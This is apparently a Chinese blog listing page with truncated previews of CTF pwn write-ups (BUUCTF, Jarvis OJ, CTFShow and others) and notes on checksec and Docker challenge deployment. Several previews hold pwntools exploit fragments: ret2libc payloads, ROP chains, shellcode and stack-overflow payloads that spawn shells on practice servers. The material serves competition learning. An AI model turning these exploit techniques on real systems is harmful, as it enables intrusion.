- 博客(21)
- 收藏
- 关注
原创 Jarvis
level5exp:from pwn import *#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']#p = process('./level3_x64')p = remote('pwn2.jarvisoj.com','9884')#p = remote('127.0.0.1',12345)libc=ELF('./libc-2.19.so')elf=ELF('./level3_x64')context.log_level=
2020-12-18 17:17:27
164
1
原创 shellcode
ciscn_2019_n_5思路:read读取输入到bss段上的name中去,可以让程序读取shellcode,再利用后面的gets栈溢出getshellmain:exp:from pwn import *from LibcSearcher import *context.arch = 'amd64'p = remote('node3.buuoj.cn',26505)shellcode = asm(shellcraft.sh())p.sendline(shellcode)payload
2020-11-28 20:11:19
161
原创 rop
[HarekazeCTF2019]baby_ropidamain函数system地址并且发现有/bin/shexp:from pwn import *p=remote('node3.buuoj.cn',29598)binsh_addr = 0x0000000000601048sys_addr = 0x0000000000400490pop_rdi = 0x400683payload = 'a'*(0x10+8) + p64(pop_rdi) + p64(binsh_addr) +
2020-11-28 15:17:36
160
原创 one_gadget
[BJDCTF 2nd]one_gadgetida看main函数再看init函数会输出一个printf的地址使用one_gadget,计算一下libc的基址buuctf给了远程的libc文件,下载下来one_gadget [libcfilename]exp:from pwn import *context.log_level='debug'p=remote('node3.buuoj.cn',25812)libc=ELF('./libc-2.29.so')p.recvunt
2020-11-27 17:54:49
553
原创 system
jarvisoj_level232bit程序主函数跟进可以利用read函数控制system函数getshell程序中可以找到/bin/sh字符串传参的时候需要逆着传exp:from pwn import*#p = remote('42.192.4.123',8007)p = remote('node3.buuoj.cn',25418)bin_addr = 0x0804A024sys_addr = 0x08048320payload = 'a'* (0x88+4) + p32(s
2020-11-27 16:19:00
114
原创 not_the_same_3dsctf_2016
IDAmain函数发现栈溢出长度2d在函数列表找到 get_secret()函数知道flag被存在了bss段上的fl4g中一开始的想法是用main函数的printf把flag输出,但发现好像行不通后来在列表中找到了write函数函数地址可以用elf.sym[‘write’]表示,也可以直接用test段的地址,都一样exp:from pwn import *context.log_level='debug'p = remote('node3.buuoj.cn',29167)e
2020-11-26 13:58:13
820
2
原创 get_started_3dsctf_2016
先看ida发现get_flag函数需要a1和a2两个参数等于特定值就可以读到flag可以利用main中的栈溢出进行传参32位程序payload = offset + 函数地址 + 返回地址 + 参数返回地址我们利用程序中的exit:exp:from pwn import *p = remote('node3.buuoj.cn',29726)context.log_level = 'debug'sleep(0.1)get_flag = 0x080489A0exit_addr = 0x
2020-11-24 23:51:08
181
原创 整形溢出
[BJDCTF 2nd]r2t3来自buuctf先看idabuf缓冲区大小为408h,而read读取大小为400h,比buf要小,所以不能进行简单的缓冲区栈溢出。再看name_check函数,v3是int8类型的变量,1111 1111 = 0xFF = 255。当0xFF +1的时侯,变量发生整形溢出,0x100 = 256 此时v3的数值为零(0000 0000),但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作变成 1 0000 0000。同时还要满足3< v3
2020-11-23 23:57:07
495
原创 Pwn_buuctf_ciscn_2019_c_1
libc64ida查看在main函数没有发现明显漏洞跟进encrypt()函数发现了gets()和puts()函数,可以利用gets的栈溢出泄漏出puts的地址,从而找到libc版本信息getshellexp:from pwn import *from LibcSearcher import *p= remote('node3.buuoj.cn',25412)#p= remote('127.0.0.1',12345)#p = process('./ciscn_2019_c_1')#
2020-11-20 15:02:14
444
原创 python_learn
快速计算#encoding: utf-8import requestsimport reurl="http://49.234.89.193:8029/"s=requests.session()r=s.get(url)res=r.content#print(r.text)a=res.find("<b>")b=res.find("</b>",a) #从a开始,找到"</b>"num=res[a+5:b-1] #截取算式#print
2020-11-18 16:18:17
105
原创 湖湘杯re
easy_c++长度32关键字符串v11是一个个字符下面异或写脚本overpython_exp:str = "7d21e<e3<:3;9;ji t r#w\"$*{*+*$|,"v13 = ''for i in range(32): v11 = ord(str[i:i+1]) v13 += chr(i ^ v11) v11 ^= iprint(v13)java_exp:public class Test { public stat
2020-11-14 18:18:17
206
原创 libc_demo
32bitfrom pwn import *context.log_level = 'debug'elf = ELF('./pwn') #产生一个对象p = remote('xxx.xxx.xxx.xxx',xxxx)puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main'] #elf.symbols['a_function'] 找到 a_function 的地址pa
2020-11-14 15:59:14
123
原创 checksec
checksecchecksec到底是用来干什么的?它是用来检查可执行文件属性,例如PIE, RELRO, PaX, Canaries, ASLR, Fortify Source等等属性。我们在ubuntu下使用它时,会显示有5行信息:1.Arch从这行信息可以知道程序是32bit还是64bit的2.RELRO3.Stack显示Stack:No canary found则表示可以利用栈溢出编译时控制是否开启栈保护以及程度:gcc -fno-stack-protector -o test
2020-11-10 11:59:30
2826
原创 Pwn_0xGame_01
Pwn_0xGame1.欢迎来到0xGame平台2.帮我取一个题目名称ret2text3.easy_stack4.该怎么起名呢shellcode5.variable_coverage变量覆盖1.欢迎来到0xGame平台nc出flag2.帮我取一个题目名称ret2text打开IDA分析main函数跟进第二个函数s栈大小为20h=32函数最后return read了s所以很好写了因为是64位程序,后面再加上8个字符payload = 'a' * (0x20+8)Shift+F1
2020-11-08 20:28:04
556
原创 Pwn_0xGame_02
Pwn_0xGame_021.Pwn题滞销,帮帮我好吗?syscall1.Pwn题滞销,帮帮我好吗?syscallIDA打开发现是个syscall的题目直接去看这个函数的汇编根据师傅们所说,我们需要让rax存入59,让syscall去调用execve函数 (ret2syscall?)syscall_64 GitHub查询之后要构造出来 execve("/bin/sh",0,0) 拿取权限找"/bin/sh"字符串方法一:在程序中有,找到它从’[‘数起到斜杠前面的空格’ ',再
2020-11-08 20:27:59
446
原创 Pwn_BUUCTF
Pwn_BUUCTF1.test_your_nc2.ripIDA查看写脚本1.test_your_nc直接 nccat flag直接出flag,白给题2.ripIDA查看拉文件进 IDA看main:直接进 gets 找 s发现偏移:0xF + 8写exppaylode=a*(0xF+8)回到 IDA 看到 “/bin/sh” 的地址 :40118A写脚本完整expfrom pwn import *p=remote('node3.buuoj
2020-11-08 20:27:47
699
原创 Pwn_CTFShow_02
Pwn_CTFShow_0101栈溢出之ret2text01栈溢出之ret2text很简单的一个栈溢出直接IDA分析从main函数跟进到welcome函数get() 很明显的溢出payload = 'a'*(0x80+8)因为是64位的,所以后面要加上8Shift+F12发现/bin/sh 果然够简单的。。。双击进去再双击找到地址exp:from pwn import *p=remote('111.231.70.44',28072)payload='a'*(0
2020-11-08 20:27:38
622
原创 Pwn_CTFShow_01
Pwn_CTFShow1.PWN签到题2.pwn021.PWN签到题直接 nc出flag,白给2.pwn02file 一下32bitIDA分析发现 bin/sh 地址可以用 cyclic生成字符串,然后gdb run一下,再计算出偏移cyclic -l 0x......exp:from pwn import *#p=process('')p=remote('111.231.70.44',28042)paylode='a'*13 + p32(0x8048518)
2020-11-08 20:27:32
815
原创 湖湘杯hxb_pwn
湖湘杯hxb_pwnpwn_printfpwn_libcida16次循环下面if判断v12<=0x20所以写for i in range(16): n.sendline("32")跟进if下面的函数这里变量的栈是空栈0h,所以offset只需要64bit程序的8个就行。再然后a * a1,所以传参需要double 0x20,也就是0x40ROPgadget --binary pwn_printf找到pop_rdi_ret的地址复习一下libc64_payload公式
2020-11-08 20:27:14
168
原创 docker(ubuntu_server)
@TOClogin问题1.Error saving credentials: error storing credentials - err: exit status 1,out:docker login 输入账号密码之后弹出这个问题但是账号、密码都是正确的具体原因看这里解决方法:sudo apt install gnupg2 pass再login一次就成功了push问题1.denied: requested access to the resource is denied往 doc
2020-11-06 19:54:51
157
原创 Pwn部署框架,出题(ubuntu)
Pwn部署框架(ubuntu)Docker 安装1.国内daocloud一键安装命令:2.切换镜像源Docker 简单使用ctf_xinetdBuildDocker 安装1.国内daocloud一键安装命令:curl -sSL https://get.daocloud.io/docker | SH- SSL的https ://get.daocloud.io/docker | SH备用apt安装:apt-get install docker docker-compose2.切换镜像源vim /e
2020-11-03 19:15:42
2888
2
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人